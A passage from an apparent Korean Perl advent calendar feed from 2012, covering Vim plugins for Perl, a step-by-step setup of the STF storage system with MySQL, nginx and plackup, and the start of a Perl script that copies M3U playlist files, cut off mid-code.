<em>그림 1.</em> 완성된 프로그램 (<a href="2012-12-10-1.png">원본</a>)</p>
<h2>정리하며</h2>
<p>150줄의 이 짧은 코드는 제가 처음으로 제대로 작성해 본 코드입니다. 이 자리를 빌어 2010, 2011 크리스마스 기념 달력을 통해 Perl의 세계로 인도해주신 Perl 프로그래머 분들께 감사의 인사를 올리며, 이번 2012 크리스마스 펄 달력을 위해 밤낮으로 수고하신 am0c님의 열정에 또한 아낌없는 박수와 감사의 인사를 올리고 싶습니다.</p>
<h2>참고</h2>
<ul>
<li><a href="https://github.com/laen0k/2012AdvCAL">원본 소스코드</a></li>
<li><a href="http://docs.wxwidgets.org/2.8.4/wx_classref.html#classref">wx 클래스 레퍼런스</a></li>
</ul>
2012-12-10T00:00:00+09:00laen0k더 나은 Perl 개발환경을 위하여 for Vimhttp://advent.perl.kr/2012/2012-12-09.html<h2>저자</h2>
<p><a href="http://twitter.com/JellyPooo">@JellyPooo</a> - 4일에 이어 다시 등장한 시스템 관리자</p>
<h2>시작하며</h2>
<p>손에 맞는 개발환경은 보다 나은 효율을 약속합니다(꼭 그렇지만은 않습니다. 본말이 전도되어 개발환경을 위한 개발을 하게 되는 <a href="http://www.gnu.org/software/emacs/">e___s</a> 같은 에디터도 있습니다. (전.. emacs에 적응하지 못한 패배자입니다 T_T).
편집과 실행용 창을 각각 띄우고, 문서 참고를 위해 브라우저 실행해 구글 검색하고 하다보면 원래의 목적을 잊고 인터넷 서핑을 하고 있는 자신을 발견합니다. 개발에 집중하기 위한 환경, 그중에서도 vim을 사용할 때 쓸 수 있는 플러그인을 소개합니다.</p>
<h2 id="perl-support.vim">perl-support.vim</h2>
<p><a href="http://www.vim.org/scripts/script.php?script_id=556">perl-support.vim</a>는 Perl IDE를 표방한 vim 플러그인입니다.
설치를 하고나면 <code>.pl</code> 파일 등의 펄 관련 파일을 열 때 자동으로 동작하며, 새 파일을 만들 때도 템플릿을 참조하여 기본 뼈대를 만들어줍니다.
사용 방법을 간략히 소개해 보겠습니다.</p>
<h3 id="h:perldoc">\h: 커서가 위치한 단어의 perldoc 읽기</h3>
<p><code>\h</code>를 입력하면 현재 커서가 있는 곳의 단어에 해당하는 perldoc을 엽니다.</p>
<p><img src="2012-12-09-01_r.png" alt="binmode가 뭐야?!" id="binmode" />
<em>그림 1.</em> binmode가 뭐야?! (<a href="2012-12-09-01.png">원본</a>)</p>
<p><img src="2012-12-09-02_r.png" alt="커서를 binmode에 둔채 <code>\h</code> 입력. 짜잔! perldoc binmode가 출력되었습니다." id="binmodecode\hcode.perldocbinmode." />
<em>그림 2.</em> 커서를 binmode에 둔채 <code>\h</code> 입력. 짜잔! perldoc binmode가 출력되었습니다. (<a href="2012-12-09-02.png">원본</a>)</p>
<h3 id="rr:">\rr: 현재 파일 실행</h3>
<p><code>\rr</code>를 입력하면 현재 파일을 저장/실행을 합니다.</p>
<p><img src="2012-12-09-01_r.png" alt="아까 나온 그 소스. 실행하려고 저장하고 나가서 파일명 입력하기 귀찮아!!" id="" />
<em>그림 3.</em> 아까 나온 그 소스. 실행하려고 저장하고 나가서 파일명 입력하기 귀찮아!! (<a href="2012-12-09-01.png">원본</a>)</p>
<p><img src="2012-12-09-03_r.png" alt="\rr을 누르면 바로 실행 된다고, 친구." id="rr." />
<em>그림 4.</em> <code>\rr</code>을 누르면 바로 실행 된다고, 친구. (<a href="2012-12-09-03.png">원본</a>)</p>
<p>그 외 실행 관련 단축키에는 다음이 있습니다.</p>
<ul>
<li><code>\rs</code>: 파일을 저장합니다. 문법 검사를 합니다. (실행하지는 않음)</li>
<li><code>\ra</code>: 인자를 설정합니다. 이후 <code>\rr</code> 실행시 설정된 인자를 넘깁니다.</li>
</ul>
<h3 id="comments">주석(Comments) 관련</h3>
<p>다음은 주석 관련입니다.</p>
<ul>
<li><code>\cc</code>: 현재 줄 혹은 선택한 줄을 주석 처리하거나, 주석이면 주석을 없앱니다.</li>
<li><code>\cb</code>: 선택한 블럭을 주석 처리합니다. 블럭 주석 해제는 블럭 안에 커서를 두고 <code>\cub</code>를 입력합니다.</li>
</ul>
<h3 id="idioms">구문, Idioms 입력</h3>
<p>자주 쓰는 구문이나 Idioms를 빠르게 만들어준다.</p>
<ul>
<li><code>\sfe</code>: <code>foreach my $ () { }</code>를 입력합니다. 커서는 <code>$</code> 뒤에 위치합니다.</li>
<li><code>\si</code>: <code>if ( ) { }</code>를 입력합니다. 커서는 <code>( )</code> 안에 위치합니다.</li>
<li><code>\id</code>: <code>my $;</code>를 입력합니다. 커서는 <code>\$;</code>의 사이에 위치합니다.</li>
</ul>
<h2 id="vim">뱀발 vim 플러그인 스크립트를 관리하는 방법 두 가지</h2>
<p>그런데, vim 플러그인 스크립트를 그냥 설치하려면 여간 불편한게 아닙니다. 스크립트 업데이트 되면 수동으로 일일히 업데이트 해줘야 하는 문제도 있습니다... 해결책은 무엇일까요?
<em>Vimana</em> 혹은 <em>Vundle</em>을 사용하면 됩니다.</p>
<p>Vimana 모듈을 설치하면 <code>vimana</code>란 실행 명령어가 생깁니다. <code>update</code>, <code>search</code>, <code>install</code> 등의 명령 옵션이 제공됩니다.
자세한 사항은 <a href="https://www.metacpan.org/module/vimana">문서를 참고</a>하세요.</p>
<p>원래 이 기사는 Vundle을 소개하려고 쓴 글이었는데, a3r0님이 Vimana를 소개해주시는 바람에 뒤로 밀렸습니다.
자세한 사항은 <a href="http://wiki.kldp.org/wiki.php/VimEditor">KLDP의 vim 문서</a>를 참고하세요.</p>
<h2>그 외 팁</h2>
<ul>
<li><code>gg=G</code>: vim에서 보이는 그대로 입력하면 현재 파일의 코드를 정렬합니다.</li>
<li>[perltidy][perltidy]: 코드 자동 정렬 도구입니다. vim에서 <code>gg=G</code> 명령이 들여쓰기 정도만 정리한다면, 이것은 Perl Best Practice에서 권고한 코딩 가이드라인에 맞춘 세부적인 설정도 가능합니다. 프로젝트 별로 설정을 가지고, 이것을 잘 지켰는지 검사할 수도 있습니다.</li>
<li><a href="http://padre.perlide.org/">Padre</a>: Perl로 구현된 GUI Perl IDE입니다. Windows, Linux, OS X 등에서 작동합니다.</li>
</ul>
<h2>정리하며</h2>
<p><strong>치명적인 단점</strong>: 주석 처리나 블럭 자동 닫기 등 다양한 기능을 제공하기 때문에, 한 번 맛들이면 perl-support.vim 없는 vim에서 Perl 개발이 매우 어색하고 불편할 지경에 이를 수도 있습니다!</p>
<h2>참고</h2>
<p>다음의 문서를 읽으시면 여기에서 다루지 않은 더 많은 기능에 대해 알아볼 수 있습니다.</p>
<ul>
<li><a href="http://lug.fh-swf.de/vim/vim-perl/perlsupport.html">The help file online</a></li>
<li><a href="http://lug.fh-swf.de/vim/vim-perl/perl-hot-keys.pdf">The key mappings of this plugin (PDF)</a></li>
</ul>
2012-12-09T00:00:00+09:00JellyPoooSTF or "Stepover Toehold Facelock" or "STorage Farm"http://advent.perl.kr/2012/2012-12-08.html<h2>저자</h2>
<p>@luzluna - luz + luna</p>
<h2>시작하며</h2>
<p>벌써 여덟번째 날이 되었습니다. 오늘 소개하려는것은 STF입니다.
STF는 원래 프로레스링의 기술 이름입니다. "Stepover Toehold Facelock"의
약자인데 번역하면 '발을 걸고난 뒤 얼굴을 건다'라는 의미입니다.
주로 마지막 기술로 쓰이는 관절기로써 넘어뜨린 상대의 다리를 다리로 잡은 뒤
돌아와서 머리를 잡아서 항복을 받아내거나 상대의 스테미너를 깍아내는
기술입니다. 원래 처음에는 STFU(Shut the Fxxx Up)라는 이름으로 불렸다는데 좀
순화해서 STF로 이름을 바꿨다는군요. <a href="http://en.wikipedia.org/wiki/John_Cena">존 시나</a>의 주요 끝내기
기술이라고 합니다.</p>
<p><img src="2012-12-08-1_r.jpg" alt="존 시나의 주요 끝내기 기술" id="" />
<em>그림 1.</em> 존 시나의 주요 끝내기 기술 (<a href="2012-12-08-1.jpg">원본</a>)</p>
<h2>정신좀 차리고</h2>
<p>정신좀 차려서 원래 하려던 펄 이야기로 좀 돌아오도록 하겠습니다. STF는 원래
STorage Farm의 약자로 시작했는지도 모르겠습니다만 처음 프로젝트를 시작한
사람이 프로레스링 매니아였던 관계로 무시무시한 관절기 이름이 이 소프트웨어에
달리게 되었습니다.</p>
<p>원래 <a href="http://www.livedoor.com/">Livedoor</a>에서 블로그나 사진저장 서비스 또는 다른 서비스들에
이미지를 저장할 목적으로 만들어졌습니다. 4억개의 오브젝트(13억개의 엔티티)를
저장하고 있으며 전체 스토리지는 70테라바이트, 피크타임에 400Mbps정도의
트레픽을 처리하고 있다고 합니다. 이렇게 기록된걸 제가 본게 거진 1년전이니까
지금은 조금 더 늘었겠네요.</p>
<h2 id="mogilefs">MogileFS랑은 뭐가 다르지?</h2>
<p>비슷한 프로젝트로 <a href="#mogilefs" title="MogileFS랑은 뭐가 다르지?">MogileFS</a>라는 녀석이 오래되었고 충분히
검증되었으며 또 유명합니다. STF의 기본 아이디어는 바로 이 MogileFS에서
시작했습니다. MogileFS와의 차이점은 외형적으로는 모든 통신을 HTTP로 한다는
점과 PSGI를 통해 구현되었다는 점입니다. 하지만 내부를 보면 분석하고 수정하기
힘들던 MogileFS와 달리 STF는 MogileFS의 경험을 살려서 매우 깔끔하게 정리된
상태로 개발되어있다는 점이 가장 큰 차이점입니다.</p>
<p>신생 프로젝트임에도 불고하고 신뢰를 가지고 쓸만하다라고 추천하는데에는
잘 정리된 코드라서 버그가 발생할 가능성이 낮다라는 점과 혹시라도 버그가
발생하더라도 적은 노력으로 충분히 Fix가 가능하다라는 점 때문이었습니다.</p>
<h2>잡소리 그만하고 이제 시작해보죠</h2>
<p>일단 github에서 소스를 다운받습니다.</p>
<pre class="brush: bash;">
$ git clone git://github.com/stf-storage/stf.git
</pre>
<h2 id="stf">STF를 운영하는데 필요한 패키지들 설치</h2>
<p>그리고 혹시 필요한 패키지들이 설치되어있지 않다면 mysql, memcached를
설치합니다.</p>
<pre class="brush: bash;">
$ apt-get install mysql-server
$ apt-get install libmysqlclient-dev
$ apt-get install memcached
$ apt-get install libwww-perl
$ apt-get install nginx
</pre>
<p>CentOS에서는 아마도 아래와 같이 설치해줍니다.</p>
<pre class="brush: bash;">
$ yum install mysql-server
$ yum install mysql-devel
$ yum install memcached
$ yum install perl-libwww-perl
</pre>
<p>nginx 설치는 <a href="http://wiki.nginx.org/Install">웹사이트 설치 문서</a>를 참고합니다.</p>
<h2 id="cpan">의존성있는 CPAN 패키지 설치</h2>
<p>이제 필요한 CPAN 모듈을 설치해줍니다.
DBD::mysql은 테스팅과정에서 오류가 있어서 아래와 같이 cpan쉘에 들어간 후
notest를 통해 강제로 설치해줍니다.</p>
<pre class="brush: bash;">
$ cpan
Terminal does not support AddHistory.
cpan shell -- CPAN exploration and modules installation (v1.9800)
Enter 'h' for help.
cpan[1]> notest install DBD::mysql
...
cpan[1]> exit
Terminal does not support GetHistory.
Lockfile removed.
</pre>
<p>그리고나면 나머지 모듈들은 그냥 주욱 설치해줍니다.</p>
<pre class="brush: bash;">
$ cpan Mouse
$ cpan Math::Round
$ cpan Parallel::ForkManager
$ cpan Scope::Guard
$ cpan Log::Minimal
$ cpan Furl
$ cpan Cache::Memcached::Fast
$ cpan Data::FormValidator
$ cpan Data::Localize
$ cpan Data::Page
$ cpan Digest::MurmurHash
$ cpan Email::MIME
$ cpan Email::Send
$ cpan HTML::FillInForm::Lite
$ cpan HTTP::Parser::XS
$ cpan Net::SNMP
$ cpan Parallel::Scoreboard
$ cpan Plack
$ cpan Plack::Middleware::Reproxy
$ cpan Plack::Middleware::ReverseProxy
$ cpan Plack::Middleware::Session
$ cpan Plack::Middleware::Static
$ cpan Proc::Guard
$ cpan Router::Simple
$ cpan SQL::Maker
$ cpan STF::Dispatcher::PSGI
$ cpan Starlet
$ cpan String::Urandom
$ cpan YAML
$ cpan Text::Xslate
$ cpan Data::Dumper::Concise
$ cpan Cache::Memcached
</pre>
<p>휴... 꽤나 오래 걸리네요.</p>
<h2>백그룹 잡을 위한 큐 준비</h2>
<p>STF는 총 3가지 종류의 Queue를 사용할 수 있도록 되어있습니다. 아마도
livedoor에서 사용중인것으로 보이는 Q4M이 디폴트이고 Perl로 되어있는
TheSchwartz와 최근에 추가된 Redis를 이용하는 큐인 Resque가 있습니다.</p>
<p>q4m을 이용하는 방법도 나오지만 mysql 5.1버전전용밖에 없는 문제가 있습니다. 대신
TheSchwartz보다 메모리를 조금 덜 먹는것 장점이 있습니다. Resque는 테스트해보지
않아서 잘 모르겠지만 Ruby로 되어있어서 일단 무시하고 지나갑니다.</p>
<p>Q4M은 별도로 소프트웨어를 설치해야되고 Mysql이 5.1이상버전은 안되는것같고
이러저러한 이유로 안되겠고, Resque는 아무래도 2개이상의 언어로 운영환경이 되면
유지보수에 불편함이 있으니 안되겠습니다.</p>
<p>일단 여기서는 순수하게 Perl로 되어있는 Job Queueing System인 TheSchwartz를
사용하도록 하겠습니다.
일단 cpan으로 TheSchwartz를 설치하구요.</p>
<pre class="brush: bash;">
$ cpan TheSchwartz
</pre>
<p>root로 mysql에 로그인하여 </p>
<pre class="brush: plain;">
$ mysql -u root -p mysql
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 51
Server version: 5.5.28-1 (Debian)
Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
</pre>
<p>TheSchwartz에서 사용할 Database를 생성하구요.</p>
<pre class="brush: plain;">
mysql> create database stf CHARACTER SET = 'utf8';
Query OK, 1 row affected (0.00 sec)
</pre>
<p>TheSchwartz에서 사용할 사용자 계정을 추가합니다.</p>
<pre class="brush: plain;">
mysql> GRANT ALL PRIVILEGES ON stf.* TO stfuser@localhost IDENTIFIED BY 'stfpasswd';
</pre>
<p>권한을 Flush한뒤에</p>
<pre class="brush: plain;">
mysql> FLUSH PRIVILEGES;
</pre>
<p>일단 TheSchwartz에서 사용할 DB 스키마를 로드합니다.
스키마 파일은 <code>stf/misc</code> 디렉토리 아래에 <code>stf_schwartz.sql</code>에
있습니다.</p>
<pre class="brush: plain;">
$ cd stf/misc
$ mysql -u stfuser -p stf
Enter password: stfpasswd
mysql> source stf_schwartz.sql
Query OK, 0 rows affected (0.02 sec)
...
Query OK, 0 rows affected (0.02 sec)
</pre>
<p>이왕 DB 로그인한거 STF에서 사용할 스키마도 덤으로 로드합니다. 같은 디렉토리에
<code>stf.sql</code>이라는 이름으로 들어있습니다.</p>
<pre class="brush: plain;">
mysql> source stf.sql
Query OK, 0 rows affected (0.03 sec)
Query OK, 1 row affected (0.00 sec)
...
Query OK, 0 rows affected (0.01 sec)
</pre>
<p>나중에 Admin UI에서 접근할때 필요한 public URI 정보를 잠시 추가로
넣어놓습니다.</p>
<pre class="brush: plain;">
mysql> REPLACE INTO config (varname, varvalue) VALUES ("stf.global.public_uri", 'http://localhost');
</pre>
<h2>실행을 위한 환경설정</h2>
<p>이제 환경을 조금 손보면 실행해볼 수 있습니다!</p>
<p>일단 <code>stf</code> 디렉토리로 돌아온 뒤에</p>
<pre class="brush: bash;">
$ cd ..
</pre>
<p><code>STF_HOME</code>을 설정하고</p>
<pre class="brush: bash;">
$ export STF_HOME=`pwd`
</pre>
<p>STF가 접속할 id와 password를 설정해줍니다.</p>
<pre class="brush: bash;">
export STF_MYSQL_USERNAME=stfuser
export STF_MYSQL_PASSWORD=stfpasswd
</pre>
<p>TheSchwartz가 사용할 DB와 id, password도 설정해줍니다.</p>
<pre class="brush: bash;">
export STF_QUEUE_TYPE=Schwartz
export STF_QUEUE_DSN=dbi:mysql:dbname=stf
export STF_QUEUE_USERNAME=stfuser
export STF_QUEUE_PASSWORD=stfpasswd
</pre>
<h2>워커 프로세스 실행</h2>
<p>이제 스토리지 서비스의 백그라운드 작업을 할 Worker들을 띄웁니다.
여러 호스트에서 워커를 띄우려면 <code>STF_HOST_ID</code>를 호스트마다 꼭 다르게 설정해야
됩니다.</p>
<pre class="brush: bash;">
export STF_HOST_ID=1
./bin/stf-worker &
</pre>
<h2 id="ui">관리자 UI 실행</h2>
<p>스토리지를 추가하고 관리를 하기위해 Admin UI를 실행합니다. DB에 직접 접속해서
할수도 있겠지만 그건 귀찮고 어려우니까 당연히 UI를 씁니다.</p>
<p>기본 설정파일(<code>etc/config.pl</code>) 에는 아래와같이 세션 쿠키에 대한 설정이 특정
도메인으로 https로 접속할때만 동작하도록 되어있습니다. 별건 아니지만 디폴트가
일본어라 메뉴 영어로 보려면 쿠키설정을 해야됩니다.
https와 도메인 설정을 지금 할수는 없으니 설정파일을 일단 아래와 같이
바꿔줍니다.</p>
<pre class="brush: bash;">
# Session state configuration
'AdminWeb::Session::State' => {
path => "/",
#domain => "admin.stf.your.company.com",
expires => 86400,
httponly => 1,
#secure => 1,
},
</pre>
<p>그리고나서 9000번 포트로 Admin 페이지를 띄웁니다.</p>
<pre class="brush: bash;">
plackup -p 9000 -a etc/admin.psgi &
</pre>
<p><img src="2012-12-08-2_r.png" alt="Admin 페이지" id="admin" />
<em>그림 2.</em> Admin 페이지 (<a href="2012-12-08-2.png">원본</a>)</p>
<h2>스토리지 추가</h2>
<p>뭐 정석은 여러대의 스토리지 노드를 준비해놓고 각각 호스트마다 스토리지
서비스를 띄우는거겠지만 여기서는 테스트니까 디렉토리 3개 만들고 스토리지
서비스 3개를 다른포트로 띄워줍니다.</p>
<pre class="brush: bash;">
mkdir ../stf_storage1
export STF_STORAGE_ROOT=`pwd`/../stf_storage1
plackup -a $STF_HOME/etc/storage.psgi -p 8888 &
mkdir ../stf_storage2
export STF_STORAGE_ROOT=`pwd`/../stf_storage2
plackup -a $STF_HOME/etc/storage.psgi -p 8889 &
mkdir ../stf_storage3
export STF_STORAGE_ROOT=`pwd`/../stf_storage3
plackup -a $STF_HOME/etc/storage.psgi -p 8890 &
</pre>
<h2 id="ui">UI에서 스토리지 구성</h2>
<p>Storage Cluster 메뉴에 들어가서 우측 상단의 + 버튼을 눌러서 스토리지 클러스터
추가</p>
<p>여기서 ID는 1로, Name은 test Mode로 그대로 두고, rw로 놓고 추가합니다.</p>
<p><img src="2012-12-08-3_r.png" alt="스토리지 추가" id="" />
<em>그림 3.</em> 스토리지 추가 (<a href="2012-12-08-3.png">원본</a>)</p>
<p>이번에는 Storage Nodes 메뉴에 들어가서 Create 버튼을 누른 뒤 아래와 같이
추가해줍니다.</p>
<pre class="brush: plain;">
ID URI Mode Cluster
1 http://127.0.0.1:8888 rw test
2 http://127.0.0.1:8889 rw test
3 http://127.0.0.1:8890 rw test
</pre>
<p>(주의: http://127.0.0.1:8888 IP로 추가해야함. localhost로 넣으면 나중에
reproxy설정에 dns를 세팅해야되는 문제가 있음 귀찮으니 그냥 IP로 합니다.)</p>
<p><img src="2012-12-08-4_r.png" alt="IP 추가" id="ip" />
<em>그림 4.</em> IP 추가 (<a href="2012-12-08-4.png">원본</a>)</p>
<h2 id="dispatcher">Dispatcher 실행</h2>
<p>이제 실제 파일을 업로드 받거나 다운로드 해주는 Dispatcher를 실행합니다.</p>
<pre class="brush: bash;">
plackup -p 8080 -a /path/to/dispatcher.psgi &
</pre>
<h2 id="reproxy">ReProxy 설정</h2>
<p>Dispatcher는 파일을 다운받을때 직접 파일을 서빙하지 않고 뒤에 달린 스토리지
노드에 실제 다운로드 주소만 넘겨주게 됩니다. 그렇기 때문에 실제 사용하려면
apache나 혹은 nginx의 reproxy기능을 이용해서 사용자가 뒤의 스토리지 노드를
알아차리지 못하도록 만들어줍니다.</p>
<p>apache의 mod_reproxy를 사용하는 방법도 있습니다만 일단 여기서는 러시아의 힘을 믿고 nginx로!
/etc/nginx/sites-enabled/default 파일을 열어서 server 설정 끝부분에
추가해줍니다. nginx패키징에 따라서는 그냥 /etc/nginx/nginx.conf 파일일수도 있겠네요.</p>
<pre class="brush: plain;">
server {
...
location /bucket {
proxy_pass http://127.0.0.1:8080;
}
location = "/reproxy" {
internal;
#resolver 127.0.0.1; # set up a proper resolver
set $reproxy $upstream_http_x_reproxy_url;
proxy_pass $reproxy;
# inherits Content-Type header
proxy_hide_header Content-Type;
}
}
</pre>
<p><code>/bucket</code>이라는 이름으로 시작하는 경우에만 서빙하도록 설정했습니다. 다른 이름의
버킷을 이용하려면 별도로 추가해주거나 전용 파일 서비스라면 그냥 모든
디렉토리(<code>/</code>)에 대해 다 걸어주면 됩니다.
스토리지 노드를 IP가 아닌 localhost 혹은 hostname 혹은 FQDN으로 주었을 경우
resolver 위치에 주석을 풀고 제대로 된 DNS값으로 줘야됩니다.</p>
<pre class="brush: plain;">
# service nginx restart
Restarting nginx: nginx.
</pre>
<p>완성!</p>
<h2>테스트</h2>
<p>일단 bucket이라는 이름으로 버킷을 만들어봅니다. 버킷은 PUT으로 만들고
컨텐츠는 없어야 됩니다. 바로 <code>Ctrl+D</code>를 눌러서 빠져나오면 만들어집니다.</p>
<pre class="brush: bash;">
$ lwp-request -m PUT http://localhost/bucket
Please enter content (text/plain) to be PUTed:
# (Press Ctrl+D here so you don't send any content)
</pre>
<p>이미지 파일을 하나 올려보도록 하겠습니다.</p>
<pre class="brush: bash;">
$ cat seoulpm_bigger.png | lwp-request -m PUT http://localhost/bucket/seoulpm_bigger.png
</pre>
<p>텍스트 파일도 올려봅니다.</p>
<pre class="brush: bash;">
$ lwp-request -m PUT http://localhost/bucket/text
Please enter content (text/plain) to be PUTed:
# (Press Ctrl+D here so you don't send any content)
test
</pre>
<p>파일을 받아봅니다.</p>
<pre class="brush: bash;">
$ lwp-request http://localhost/bucket/text
</pre>
<p>이번엔 삭제.</p>
<pre class="brush: bash;">
$ lwp-request -m DELETE http://localhost/bucket/seoulpm_bigger.png
</pre>
<h2 id="ui">관리자 UI에서 테스트</h2>
<p><a href="http://localhost:9000">http://localhost:9000</a>으로 들어가서 테스트 해보시면 됩니다. 괜히 귀찮게
커맨드라인에서 했네요.</p>
<p><img src="2012-12-08-5_r.png" alt="버킷 리스트 보기 메뉴" id="" />
<em>그림 5.</em> 버킷 리스트 보기 메뉴 (<a href="2012-12-08-5.png">원본</a>)</p>
<p><img src="2012-12-08-6_r.png" alt="새 버킷 추가" id="" />
<em>그림 6.</em> 새 버킷 추가 (<a href="2012-12-08-6.png">원본</a>)</p>
<p><img src="2012-12-08-7_r.png" alt="버킷 보기" id="" />
<em>그림 7.</em> 버킷 보기 (<a href="2012-12-08-7.png">원본</a>)</p>
<p><img src="2012-12-08-8_r.png" alt="파일(오브젝트) 올리기 메뉴" id="" />
<em>그림 8.</em> 파일(오브젝트) 올리기 메뉴 (<a href="2012-12-08-8.png">원본</a>)</p>
<p><img src="2012-12-08-9_r.png" alt="올려진 파일(오브젝트) 관리 메뉴" id="" />
<em>그림 9.</em> 올려진 파일(오브젝트) 관리 메뉴 (<a href="2012-12-08-9.png">원본</a>)</p>
<h2>도전과제</h2>
<p>스토리지 노드를 <code>plackup -a etc/storage.psgi -p 8888</code>와 같이 실행하고
있습니다만 실제 GET, HEAD, PUT, DELETE 이외에는 하는일이 없습니다.
별도의 스토리지 노드 프로세스를 띄울필요 없이 그냥 nginx설정만으로
스토리지 노드를 만들면 성능과 안정성면에서 훨씬 좋을 것 같습니다.
한번 도전해보세요!</p>
<h2>참고문서</h2>
<ul>
<li><a href="http://stf-storage.github.com/setup.html">STF Setup</a></li>
<li><a href="http://code.google.com/p/mogilefs/wiki/nginx_webdav">HOWTO use nginx as a WebDAV server</a></li>
</ul>
2012-12-08T00:00:00+09:00luzlunaM3U Copier for Win32 (부제: 유니코드 파일명과의 전쟁)http://advent.perl.kr/2012/2012-12-07.html<h2>저자</h2>
<p><a href="http://www.nightowl.pe.kr">@owl0908</a> -
Perl과는 그다지 어울릴 것 같아보이지 않는, 법학을 전공한 고시 준비생.
10여년 전 개인 홈페이지를 Perl로 구현한 것이 계기가 되어, 슬럼프가 올 때마다 하라는 공부는 안하고 Perl 코딩을 한 결과, 이제는 자신의 정체성의 혼란을 겪고 있다.
컴퓨터를 사용하면서 필요로 하는 도구를 직접 만들어 쓸 수 있다는 사실 자체가 즐거울 뿐인 평범한 Perl 유저.
<a href="http://www.nightowl.pe.kr">부엉이의 나무구멍 속 작은 공간</a> 블로그를 운영하고 있다. webmaster <em>at</em> nightowl.pe.kr</p>
<h2>시작하며</h2>
<p>여러분의 하드 디스크에는 몇 곡의 MP3 파일이 저장되어 있나요? 컴퓨터나 휴대기기를 통해 음악을 들으시는 분들이라면 아마도 적지 않은 수의 MP3 파일이 저장되어 있을 겁니다. 저만 하더라도 거의 1만개가 넘는 수의 MP3 파일이 저장되어 있네요. 이렇게 관리하기도 힘든 숫자의 MP3 파일이 쌓여 있지만, 사실 우리가 실제로 컴퓨터나 휴대기기에 걸어 놓고 듣는 곡은 생각보다 그리 많지 않을 겁니다. 제 경우, 하드 디스크에 저장되어 있는 MP3 파일 중에 최근 1년 안에 한 번이라도 재생해 본 파일은 채 2천개가 안 되는 것 같네요.</p>
<p>그런데 자주 듣는 곡, 좋아하는 곡 위주로 음악을 듣다 보면, 디스크 어딘가에 자주 듣는 MP3 파일들만 모아놓는 폴더가 생기는 것이 보통입니다. 자연스러운 일인데 생각해 보면 이것이 비극의 시작입니다. 같은 곡이 여기저기 새끼를 치게 되는 시발점이 되거든요. 게다가, 처음에는 깔끔하게 정리된 MP3 저장 폴더 따로, 재생용 앨범 폴더 따로 잘 관리를 하겠지만, 나중엔 새로 다운로드 받은 MP3 파일이 재생용 폴더에만 휙 던져져 있다던가, 정리하다 만 파일들이 MP3 저장 폴더 내에 각종 새 이름(...)을 달고 너저분하게 어질러져 있다던가 하는 사태가 벌어지게 마련입니다. 결국 디스크 용량은 용량대로 낭비되고, 정작 원하는 파일을 찾기도 어려운 이중고에 빠집니다<a href="#fn:a" id="fnref:a" class="footnote">1</a>. 네, 다 제가 겪은 일들입니다. orz</p>
<h2 id="m3u">M3U</h2>
<p>그래서 이런 저런 시행착오 끝에 제가 정착한 방법은, 앨범 단위로 보관된 MP3 파일 저장 폴더의 구성은 그대로 놔두고, 자주 듣는 파일을 별도의 앨범 목록 파일(M3U 파일)을 만들어 따로 관리하는 방법입니다. 이렇게 하면 별도 앨범을 만들더라도 같은 MP3 파일이 사방팔방 널려버리는 문제도 발생하지 않고, 원본 MP3 파일은 건드리지 않기 때문에 실수로 원본 파일을 삭제하는 상황을 막을 수 있습니다.</p>
<p>그런데 또 다른 문제가 하나 발생했습니다. 저처럼 휴대기기(MP3 Player)에 파일을 저장해서 들고 다니는 경우, M3U 목록의 MP3 파일을 휴대기기로 복사하는 기능이 꼭 필요합니다. 제가 사용하는 재생 프로그램에서도 비슷한 기능을 지원을 합니다만, 문제는 제 MP3 Player는 용량이 작기 때문에, 대다수가 320Kbps 비트레이트를 갖는 MP3 파일을 그대로 복사해 넣었다가는 몇 곡 들어가지도 않아서 낮은 비트레이트(128/192Kbps)로 다시 인코딩하는 것도 필요합니다. orz</p>
<h2>그렇다면</h2>
<p>이런 저런 프로그램을 찾아봤지만, 이런 기능을 모두 제공하는 프로그램을 찾을 수가 없어서, 결국 직접 만들기로 했습니다. 요구 성능은 다음과 같습니다.</p>
<ul>
<li>작성된 M3U 파일을 읽은 후, M3U 목록 내의 MP3 파일을 지정 폴더로 복사한다.</li>
<li>MP3 파일의 비트레이트가 192Kbps보다 크다면, 192Kbps로 다시 인코딩하여 지정 폴더에 저장한다.</li>
<li>어떤 경우이든, 원본 파일명은 그대로 보존되도록 한다.</li>
</ul>
<p>단순하고 명쾌한 요구성능입니다. CPAN 모듈 없이 알코딩을 해도 몇 시간이면 될 줄 알았습니다. 이것이 며칠짜리 일이 될 줄은 이 때는 상상조차 할 수 없었습니다. orz....</p>
<h2>시작과 동시에 만난 장벽: 아, 유니코드!</h2>
<p>처음엔 가볍게 시작했습니다. 우선 인코딩 부분은 잠시 제쳐두고, 동작 테스트도 할 겸, 뼈대와 함께 핵심 코드가 될 파일을 읽어서 대상 폴더로 복사하는 부분까지만 작성했습니다. 여기까지 사용된 모듈은 대부분의 경우 자동으로 설치되는 기본 모듈이므로 별도로 설치할 CPAN 모듈은 없습니다. 단, 스크립트 상단에 <code>use utf8;</code>이 선언되어 있으므로, 스크립트를 복사해가며 따라오실 분께서는 반드시 스크립트 파일을 <em>UTF-8 인코딩으로 저장</em>하신 후 실행해 주시기 바랍니다.</p>
<pre class="brush: perl;">
#!/usr/bin/perl
use strict;
use warnings;
use utf8;
use File::Spec;
use File::Copy;
use Encode;
use Encode::Guess;
#
# SOURCE FILE / TARGET FOLDER 받기 (@ARGV 인수)
#
my $SOURCE_M3U_FILENAME = $ARGV[0] || "";
my $TARGET_FOLDER = $ARGV[1] || "";
if ( !$SOURCE_M3U_FILENAME || !$TARGET_FOLDER ) {
print "Error: Source file and/or target folder not defined!\n";
exit;
}
if ( !File::Spec->file_name_is_absolute( $SOURCE_M3U_FILENAME ) ) {
$SOURCE_M3U_FILENAME = File::Spec->rel2abs( $SOURCE_M3U_FILENAME );
}
if ( !File::Spec->file_name_is_absolute( $TARGET_FOLDER ) ) {
$TARGET_FOLDER = File::Spec->rel2abs( $TARGET_FOLDER );
}
#
# M3U/M3U8 파일을 읽어온다.
#
my $M3U_RAW_DATA;
if ( -e "$SOURCE_M3U_FILENAME" ) {
open my $fHandle, "<", "$SOURCE_M3U_FILENAME";
binmode $fHandle;
while(<$fHandle>){
$M3U_RAW_DATA .= $_;
}
close $fHandle;
undef $fHandle;
}
else {
print "Error: Source file is not exist!\n";
exit;
}
#
# 가져온 데이터의 인코딩 확인 : CP949 / UTF-8?
